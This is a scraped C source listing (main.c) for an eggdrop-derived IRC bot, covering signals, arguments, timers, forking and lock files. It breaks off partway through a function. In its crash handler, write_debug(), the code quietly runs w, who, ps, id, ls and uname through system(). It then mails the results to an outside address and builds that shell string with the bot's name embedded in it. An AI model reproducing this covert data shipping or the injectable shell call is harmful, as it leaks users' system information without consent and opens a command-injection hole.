main.c 46 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], thepass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. max_logs, quick_logs, fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern log_t *logs;
  66. extern Tcl_Interp *interp;
  67. extern tcl_timer_t *timer,
  68. *utimer;
  69. extern jmp_buf alarmret;
  70. int role;
  71. int loading = 0;
  72. char egg_version[1024] = "1.0.11";
  73. int egg_numver = 1001100;
  74. time_t lastfork=0;
  75. #ifdef HUB
  76. int my_port;
  77. #endif
  78. char notify_new[121] = ""; /* Person to send a note to for new users */
  79. int default_flags = 0; /* Default user flags and */
  80. int default_uflags = 0; /* Default userdefinied flags for people
  81. who say 'hello' or for .adduser */
  82. int backgrd = 1; /* Run in the background? */
  83. int con_chan = 0; /* Foreground: constantly display channel
  84. stats? */
  85. uid_t myuid;
  86. int term_z = 1; /* Foreground: use the terminal as a party
  87. line? */
  88. int pscloak = 1;
  89. int updating = 0; /* this is set when the binary is called from itself. */
  90. char tempdir[DIRMAX] = "";
  91. char lock_file[40] = "";
  92. char *binname;
  93. char configfile[121] = ""; /* Name of the config file */
  94. char helpdir[121]; /* Directory of help files (if used) */
  95. char textdir[121] = ""; /* Directory for text files that get dumped */
  96. int keep_all_logs = 0; /* Never erase logfiles, no matter how old
  97. they are? */
  98. char logfile_suffix[21] = ".%d%b%Y"; /* Format of logfile suffix. */
  99. time_t online_since; /* Unix-time that the bot loaded up */
  100. char owner[121] = ""; /* Permanent owner(s) of the bot */
  101. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  102. stored in */
  103. int save_users_at = 0; /* How many minutes past the hour to
  104. save the userfile? */
  105. int notify_users_at = 0; /* How many minutes past the hour to
  106. notify users of notes? */
  107. int switch_logfiles_at = 300; /* When (military time) to switch logfiles */
  108. char version[81]; /* Version info (long form) */
  109. char ver[41]; /* Version info (short form) */
  110. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  111. int do_restart = 0; /* .restart has been called, restart asap */
  112. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  113. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  114. int resolve_timeout = 15; /* hostname/address lookup timeout */
  115. char quit_msg[1024]; /* quit message */
  116. time_t now; /* duh, now :) */
  117. extern struct cfg_entry CFG_FORKINTERVAL;
  118. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  119. unsigned char md5out[33];
  120. char md5string[33];
  121. #include "md5/md5.h"
  122. /* Traffic stats
  123. */
  124. unsigned long otraffic_irc = 0;
  125. unsigned long otraffic_irc_today = 0;
  126. unsigned long otraffic_bn = 0;
  127. unsigned long otraffic_bn_today = 0;
  128. unsigned long otraffic_dcc = 0;
  129. unsigned long otraffic_dcc_today = 0;
  130. unsigned long otraffic_filesys = 0;
  131. unsigned long otraffic_filesys_today = 0;
  132. unsigned long otraffic_trans = 0;
  133. unsigned long otraffic_trans_today = 0;
  134. unsigned long otraffic_unknown = 0;
  135. unsigned long otraffic_unknown_today = 0;
  136. unsigned long itraffic_irc = 0;
  137. unsigned long itraffic_irc_today = 0;
  138. unsigned long itraffic_bn = 0;
  139. unsigned long itraffic_bn_today = 0;
  140. unsigned long itraffic_dcc = 0;
  141. unsigned long itraffic_dcc_today = 0;
  142. unsigned long itraffic_trans = 0;
  143. unsigned long itraffic_trans_today = 0;
  144. unsigned long itraffic_unknown = 0;
  145. unsigned long itraffic_unknown_today = 0;
  146. #ifdef DEBUG_CONTEXT
  147. /* Context storage for fatal crashes */
  148. char cx_file[16][30];
  149. char cx_note[16][256];
  150. int cx_line[16];
  151. int cx_ptr = 0;
  152. #endif
  153. void fatal(const char *s, int recoverable)
  154. {
  155. int i;
  156. #ifdef LEAF
  157. module_entry *me;
  158. Context;
  159. if ((me = module_find("server", 0, 0))) {
  160. Function *func = me->funcs;
  161. (func[SERVER_NUKESERVER]) (s);
  162. }
  163. #endif
  164. putlog(LOG_MISC, "*", "* %s", s);
  165. flushlogs();
  166. for (i = 0; i < dcc_total; i++)
  167. if (dcc[i].sock >= 0)
  168. killsock(dcc[i].sock);
  169. if (!recoverable) {
  170. unlink(pid_file);
  171. //unlink(lock_file);
  172. bg_send_quit(BG_ABORT);
  173. exit(1);
  174. }
  175. }
  176. int expmem_chanprog(), expmem_users(), expmem_misc(), expmem_dccutil(),
  177. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(),
  178. expmem_modules(int), expmem_tcldcc(),
  179. expmem_tclmisc();
  180. /* For mem.c : calculate memory we SHOULD be using
  181. */
  182. int expected_memory(void)
  183. {
  184. int tot;
  185. tot = expmem_chanprog() + expmem_users() + expmem_misc() +
  186. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  187. expmem_net() + expmem_modules(0) + expmem_tcldcc() +
  188. expmem_tclmisc();
  189. return tot;
  190. }
  191. static void check_expired_dcc()
  192. {
  193. int i;
  194. for (i = 0; i < dcc_total; i++)
  195. if (dcc[i].type && dcc[i].type->timeout_val &&
  196. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  197. if (dcc[i].type->timeout)
  198. dcc[i].type->timeout(i);
  199. else if (dcc[i].type->eof)
  200. dcc[i].type->eof(i);
  201. else
  202. continue;
  203. /* Only timeout 1 socket per cycle, too risky for more */
  204. return;
  205. }
  206. }
  207. #ifdef DEBUG_CONTEXT
  208. static int nested_debug = 0;
  209. void write_debug()
  210. {
  211. int x;
  212. char s[25];
  213. int y;
  214. if (nested_debug) {
  215. /* Yoicks, if we have this there's serious trouble!
  216. * All of these are pretty reliable, so we'll try these.
  217. *
  218. * NOTE: dont try and display context-notes in here, it's
  219. * _not_ safe <cybah>
  220. */
  221. x = creat("DEBUG.DEBUG", 0600);
  222. setsock(x, SOCK_NONSOCK,AF_INET);
  223. if (x >= 0) {
  224. strncpyz(s, ctime(&now), sizeof s);
  225. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  226. dprintf(-x, "Please report problem to bugs@eggheads.org\n");
  227. dprintf(-x, "after a visit to http://www.eggheads.org/bugzilla/\n");
  228. dprintf(-x, "Context: ");
  229. cx_ptr = cx_ptr & 15;
  230. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  231. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  232. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  233. killsock(x);
  234. close(x);
  235. }
  236. bg_send_quit(BG_ABORT);
  237. exit(1); /* Dont even try & tell people about, that may
  238. have caused the fault last time. */
  239. } else
  240. nested_debug = 1;
  241. putlog(LOG_MISC, "*", "* Last context: %s/%d [%s]", cx_file[cx_ptr],
  242. cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  243. // putlog(LOG_MISC, "*", "* Please REPORT this BUG to bryan (send him ~/DEBUG as well)!");
  244. x = creat("DEBUG", 0600);
  245. setsock(x, SOCK_NONSOCK,AF_INET);
  246. if (x < 0) {
  247. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  248. } else {
  249. strncpyz(s, ctime(&now), sizeof s);
  250. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  251. dprintf(-x, "STATICALLY LINKED\n");
  252. /* info library */
  253. dprintf(-x, "Tcl library: %s\n",
  254. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  255. interp->result : "*unknown*");
  256. /* info tclversion/patchlevel */
  257. dprintf(-x, "Tcl version: %s (header version %s)\n",
  258. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  259. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  260. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  261. "*unknown*");
  262. #if HAVE_TCL_THREADS
  263. dprintf(-x, "Tcl is threaded\n");
  264. #endif
  265. #ifdef CCFLAGS
  266. dprintf(-x, "Compile flags: %s\n", CCFLAGS);
  267. #endif
  268. #ifdef LDFLAGS
  269. dprintf(-x, "Link flags: %s\n", LDFLAGS);
  270. #endif
  271. #ifdef STRIPFLAGS
  272. dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
  273. #endif
  274. dprintf(-x, "Context: ");
  275. cx_ptr = cx_ptr & 15;
  276. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  277. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  278. (cx_note[y][0]) ? cx_note[y] : "");
  279. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  280. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  281. tell_dcc(-x);
  282. dprintf(-x, "\n");
  283. debug_mem_to_dcc(-x);
  284. killsock(x);
  285. close(x);
  286. putlog(LOG_MISC, "*", "* Emailed DEBUG to bryan.");
  287. if (1) {
  288. char buff[255];
  289. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  290. system(buff);
  291. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  292. system(buff);
  293. unlink("bleh");
  294. }
  295. unlink("DEBUG");
  296. }
  297. }
  298. #endif
  299. static void got_bus(int z)
  300. {
  301. #ifdef DEBUG_CONTEXT
  302. write_debug();
  303. #endif
  304. fatal("BUS ERROR -- CRASHING!", 1);
  305. #ifdef SA_RESETHAND
  306. kill(getpid(), SIGBUS);
  307. #else
  308. bg_send_quit(BG_ABORT);
  309. exit(1);
  310. #endif
  311. }
  312. static void got_segv(int z)
  313. {
  314. #ifdef DEBUG_CONTEXT
  315. write_debug();
  316. #endif
  317. fatal("SEGMENT VIOLATION -- CRASHING!", 1);
  318. #ifdef SA_RESETHAND
  319. kill(getpid(), SIGSEGV);
  320. #else
  321. bg_send_quit(BG_ABORT);
  322. exit(1);
  323. #endif
  324. }
  325. static void got_fpe(int z)
  326. {
  327. #ifdef DEBUG_CONTEXT
  328. write_debug();
  329. #endif
  330. fatal("FLOATING POINT ERROR -- CRASHING!", 0);
  331. }
  332. static void got_term(int z)
  333. {
  334. #ifdef HUB
  335. write_userfile(-1);
  336. #endif
  337. check_tcl_event("sigterm");
  338. if (die_on_sigterm) {
  339. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  340. fatal("TERMINATE SIGNAL -- SIGNING OFF", 0);
  341. } else {
  342. putlog(LOG_MISC, "*", "RECEIVED TERMINATE SIGNAL (IGNORING)");
  343. }
  344. }
  345. static void got_stop(int z)
  346. {
  347. exit(1);
  348. putlog(LOG_MISC, "*", "GOT SIGSTOP POSSIBLE HIJACK.");
  349. }
  350. #ifdef S_HIJACKCHECK
  351. static void got_cont(int z)
  352. {
  353. detected(DETECT_SIGCONT, "POSSIBLE HIJACK DETECTED");
  354. }
  355. #endif
  356. static void got_quit(int z)
  357. {
  358. check_tcl_event("sigquit");
  359. putlog(LOG_MISC, "*", "RECEIVED QUIT SIGNAL (IGNORING)");
  360. return;
  361. }
  362. static void got_hup(int z)
  363. {
  364. #ifdef HUB
  365. write_userfile(-1);
  366. #endif
  367. check_tcl_event("sighup");
  368. if (die_on_sighup) {
  369. fatal("HANGUP SIGNAL -- SIGNING OFF", 0);
  370. } else
  371. putlog(LOG_MISC, "*", "Received HUP signal: rehashing...");
  372. do_restart = -2;
  373. return;
  374. }
  375. /* A call to resolver (gethostbyname, etc) timed out
  376. */
  377. static void got_alarm(int z)
  378. {
  379. longjmp(alarmret, 1);
  380. /* -Never reached- */
  381. }
  382. /* Got ILL signal -- log context and continue
  383. */
  384. static void got_ill(int z)
  385. {
  386. check_tcl_event("sigill");
  387. #ifdef DEBUG_CONTEXT
  388. putlog(LOG_MISC, "*", "* Context: %s/%d [%s]", cx_file[cx_ptr],
  389. cx_line[cx_ptr], (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  390. #endif
  391. }
  392. #ifdef DEBUG_CONTEXT
  393. /* Context */
  394. void eggContext(const char *file, int line, const char *module)
  395. {
  396. char x[31], *p;
  397. p = strrchr(file, '/');
  398. if (!module) {
  399. strncpyz(x, p ? p + 1 : file, sizeof x);
  400. } else
  401. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  402. cx_ptr = ((cx_ptr + 1) & 15);
  403. strcpy(cx_file[cx_ptr], x);
  404. cx_line[cx_ptr] = line;
  405. cx_note[cx_ptr][0] = 0;
  406. }
  407. /* Called from the ContextNote macro.
  408. */
  409. void eggContextNote(const char *file, int line, const char *module,
  410. const char *note)
  411. {
  412. char x[31], *p;
  413. p = strrchr(file, '/');
  414. if (!module) {
  415. strncpyz(x, p ? p + 1 : file, sizeof x);
  416. } else
  417. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  418. cx_ptr = ((cx_ptr + 1) & 15);
  419. strcpy(cx_file[cx_ptr], x);
  420. cx_line[cx_ptr] = line;
  421. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  422. }
  423. #endif
  424. #ifdef DEBUG_ASSERT
  425. /* Called from the Assert macro.
  426. */
  427. void eggAssert(const char *file, int line, const char *module)
  428. {
  429. #ifdef DEBUG_CONTEXT
  430. write_debug();
  431. #endif
  432. if (!module)
  433. putlog(LOG_MISC, "*", "* In file %s, line %u", file, line);
  434. else
  435. putlog(LOG_MISC, "*", "* In file %s:%s, line %u", module, file, line);
  436. fatal("ASSERT FAILED -- CRASHING!", 1);
  437. }
  438. #endif
  439. #ifdef LEAF
  440. static void gotspawn(char *);
  441. #endif
  442. void checkpass()
  443. {
  444. char *gpasswd;
  445. MD5_CTX ctx;
  446. int i = 0;
  447. gpasswd = (char *) getpass(STR("* Enter password: "));
  448. MD5_Init(&ctx);
  449. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  450. MD5_Final(md5out, &ctx);
  451. for(i=0; i<16; i++)
  452. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  453. if (strcmp(thepass, md5string)) {
  454. fatal("incorrect password.",0);
  455. exit(1); //this shouldn't be reached..
  456. }
  457. gpasswd = 0;
  458. }
  459. void got_ed(char *, char *);
  460. #ifdef LEAF
  461. #define PARSE_FLAGS "edntvPc"
  462. #endif
  463. #ifdef HUB
  464. #define PARSE_FLAGS "edntv"
  465. #endif
  466. static void dtx_arg(int argc, char *argv[])
  467. {
  468. int i, cpass = 0;
  469. #ifdef LEAF
  470. char *p = NULL;
  471. #endif
  472. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  473. switch (i) {
  474. #ifdef LEAF
  475. case 'c':
  476. localhub = 0;
  477. p = argv[optind];
  478. if (!localhub)
  479. gotspawn(p);
  480. break;
  481. #endif
  482. case 'n':
  483. cpass = 1;
  484. backgrd = 0;
  485. break;
  486. case 't':
  487. term_z = 0;
  488. break;
  489. case 'e':
  490. p = argv[optind];
  491. got_ed("e", p);
  492. case 'd':
  493. p = argv[optind];
  494. got_ed("d", p);
  495. case 'v':
  496. checkpass();
  497. printf("%d\n", egg_numver);
  498. bg_send_quit(BG_ABORT);
  499. exit(0);
  500. break; /* this should never be reached */
  501. #ifdef LEAF
  502. case 'P':
  503. if (getppid() != atoi(argv[optind]))
  504. exit(0);
  505. else {
  506. if (SDEBUG)
  507. printf("Updating...\n");
  508. }
  509. localhub = 1;
  510. updating = 1;
  511. break;
  512. #endif
  513. default:
  514. exit(1);
  515. break;
  516. }
  517. }
  518. if (cpass)
  519. checkpass();
  520. }
  521. #ifdef HUB
  522. void backup_userfile()
  523. {
  524. char s[125];
  525. putlog(LOG_MISC, "*", USERF_BACKUP);
  526. egg_snprintf(s, sizeof s, "%s~bak", userfile);
  527. copyfile(userfile, s);
  528. }
  529. #endif
  530. /* Timer info */
  531. static int lastmin = 99;
  532. static time_t then;
  533. static struct tm nowtm;
  534. /* Called once a second.
  535. *
  536. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  537. */
  538. int curcheck = 0;
  539. void core_10secondly()
  540. {
  541. curcheck++;
  542. check_promisc();
  543. if (curcheck==1)
  544. check_trace(0);
  545. #ifdef LEAF
  546. if (localhub) {
  547. #endif
  548. if (curcheck==2)
  549. check_last();
  550. #ifdef LEAF
  551. }
  552. #endif
  553. if (curcheck==3) {
  554. #ifdef LEAF
  555. if (localhub)
  556. check_processes();
  557. #endif
  558. curcheck=0;
  559. }
  560. Context;
  561. autolink_cycle(NULL); /* attempt autolinks */
  562. }
  563. void do_fork() {
  564. int xx;
  565. Context;
  566. xx = fork();
  567. if (xx == -1)
  568. return;
  569. if (xx != 0) {
  570. FILE *fp;
  571. unlink(pid_file);
  572. fp = fopen(pid_file, "w");
  573. if (fp != NULL) {
  574. fprintf(fp, "%u\n", xx);
  575. fclose(fp);
  576. }
  577. }
  578. if (xx) {
  579. #if HAVE_SETPGID
  580. setpgid(xx, xx);
  581. #endif
  582. exit(0);
  583. }
  584. lastfork = now;
  585. }
  586. static void core_secondly()
  587. {
  588. static int cnt = 0;
  589. int miltime;
  590. if (geteuid() != myuid || getuid() != myuid) {
  591. putlog(LOG_MISC, "*", "MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT");
  592. }
  593. do_check_timers(&utimer); /* Secondly timers */
  594. if (fork_interval && backgrd) {
  595. if (now-lastfork > fork_interval)
  596. do_fork();
  597. }
  598. cnt++;
  599. if ((cnt % 3) == 0)
  600. call_hook(HOOK_3SECONDLY);
  601. if ((cnt % 10) == 0) {
  602. call_hook(HOOK_10SECONDLY);
  603. check_expired_dcc();
  604. if (con_chan && !backgrd) {
  605. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  606. tell_verbose_status(DP_STDOUT);
  607. do_module_report(DP_STDOUT, 0, "server");
  608. do_module_report(DP_STDOUT, 0, "channels");
  609. tell_mem_status_dcc(DP_STDOUT);
  610. }
  611. }
  612. if ((cnt % 30) == 0) {
  613. call_hook(HOOK_30SECONDLY);
  614. cnt = 0;
  615. }
  616. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  617. if (nowtm.tm_min != lastmin) {
  618. int i = 0;
  619. /* Once a minute */
  620. lastmin = (lastmin + 1) % 60;
  621. call_hook(HOOK_MINUTELY);
  622. check_botnet_pings();
  623. check_expired_ignores();
  624. /* In case for some reason more than 1 min has passed: */
  625. while (nowtm.tm_min != lastmin) {
  626. /* Timer drift, dammit */
  627. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  628. i++;
  629. lastmin = (lastmin + 1) % 60;
  630. call_hook(HOOK_MINUTELY);
  631. }
  632. if (i > 1)
  633. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  634. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  635. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  636. call_hook(HOOK_5MINUTELY);
  637. if (!quick_logs) {
  638. flushlogs();
  639. check_logsize();
  640. }
  641. if (!miltime) { /* At midnight */
  642. char s[25];
  643. int j;
  644. strncpyz(s, ctime(&now), sizeof s);
  645. #ifdef HUB
  646. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  647. call_hook(HOOK_BACKUP);
  648. #endif
  649. for (j = 0; j < max_logs; j++) {
  650. if (logs[j].filename != NULL && logs[j].f != NULL) {
  651. fclose(logs[j].f);
  652. logs[j].f = NULL;
  653. }
  654. }
  655. }
  656. }
  657. if (nowtm.tm_min == notify_users_at)
  658. call_hook(HOOK_HOURLY);
  659. /* These no longer need checking since they are all check vs minutely
  660. * settings and we only get this far on the minute.
  661. */
  662. #ifdef HUB
  663. if (miltime == switch_logfiles_at) {
  664. call_hook(HOOK_DAILY);
  665. if (!keep_all_logs) {
  666. putlog(LOG_MISC, "*", MISC_LOGSWITCH);
  667. for (i = 0; i < max_logs; i++)
  668. if (logs[i].filename) {
  669. char s[1024];
  670. if (logs[i].f) {
  671. fclose(logs[i].f);
  672. logs[i].f = NULL;
  673. }
  674. egg_snprintf(s, sizeof s, "%s.yesterday", logs[i].filename);
  675. unlink(s);
  676. movefile(logs[i].filename, s);
  677. }
  678. }
  679. }
  680. #endif
  681. }
  682. }
  683. #ifdef LEAF
  684. static void check_mypid()
  685. {
  686. module_entry *me;
  687. FILE *fp;
  688. char s[15];
  689. int xx = 0;
  690. char buf2[DIRMAX];
  691. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  692. fp = fopen(buf2, "r");
  693. if (fp != NULL) {
  694. fgets(s, 10, fp);
  695. xx = atoi(s);
  696. if (getpid() != xx) { //we have a major problem if this is happening..
  697. fatal("getpid() does not match pid in file. Possible cloned process, exiting..", 1);
  698. if ((me = module_find("server", 0, 0))) {
  699. Function *func = me->funcs;
  700. (func[SERVER_NUKESERVER]) ("cloned process");
  701. }
  702. botnet_send_bye();
  703. bg_send_quit(BG_ABORT);
  704. exit(1);
  705. }
  706. fclose(fp); //THERE IS THE STUPID BUG OMG
  707. }
  708. }
  709. #endif
  710. static void core_minutely()
  711. {
  712. #ifdef LEAF
  713. check_mypid();
  714. #endif
  715. check_tcl_time(&nowtm);
  716. do_check_timers(&timer);
  717. if (quick_logs != 0) {
  718. flushlogs();
  719. check_logsize();
  720. }
  721. }
  722. static void core_hourly()
  723. {
  724. #ifdef HUB
  725. write_userfile(-1);
  726. #endif
  727. }
  728. static void event_rehash()
  729. {
  730. check_tcl_event("rehash");
  731. }
  732. static void event_prerehash()
  733. {
  734. check_tcl_event("prerehash");
  735. }
  736. static void event_save()
  737. {
  738. check_tcl_event("save");
  739. }
  740. static void event_logfile()
  741. {
  742. check_tcl_event("logfile");
  743. }
  744. static void event_resettraffic()
  745. {
  746. otraffic_irc += otraffic_irc_today;
  747. itraffic_irc += itraffic_irc_today;
  748. otraffic_bn += otraffic_bn_today;
  749. itraffic_bn += itraffic_bn_today;
  750. otraffic_dcc += otraffic_dcc_today;
  751. itraffic_dcc += itraffic_dcc_today;
  752. otraffic_unknown += otraffic_unknown_today;
  753. itraffic_unknown += itraffic_unknown_today;
  754. otraffic_trans += otraffic_trans_today;
  755. itraffic_trans += itraffic_trans_today;
  756. otraffic_irc_today = otraffic_bn_today = 0;
  757. otraffic_dcc_today = otraffic_unknown_today = 0;
  758. itraffic_irc_today = itraffic_bn_today = 0;
  759. itraffic_dcc_today = itraffic_unknown_today = 0;
  760. itraffic_trans_today = otraffic_trans_today = 0;
  761. }
  762. static void event_loaded()
  763. {
  764. check_tcl_event("loaded");
  765. }
  766. void kill_tcl();
  767. extern module_entry *module_list;
  768. void restart_chons();
  769. void check_static(char *, char *(*)());
  770. #include "mod/static.h"
  771. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_bots(),
  772. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  773. void checklockfile()
  774. {
  775. #ifndef LOCK_EX
  776. #define LOCK_EX 2
  777. #endif
  778. #ifndef LOCK_NB
  779. #define LOCK_NB 4
  780. #endif
  781. static int lockfile;
  782. char *p;
  783. p = strrchr(binname, '/');
  784. p++;
  785. snprintf(lock_file, sizeof lock_file, "%s/.lock.%s", tempdir, p);
  786. lockfile = open(lock_file, O_EXCL);
  787. if (lockfile <= 0) {
  788. lockfile = open(lock_file, O_EXCL | O_CREAT, S_IWUSR | S_IRUSR);
  789. }
  790. if (lockfile <= 0) {
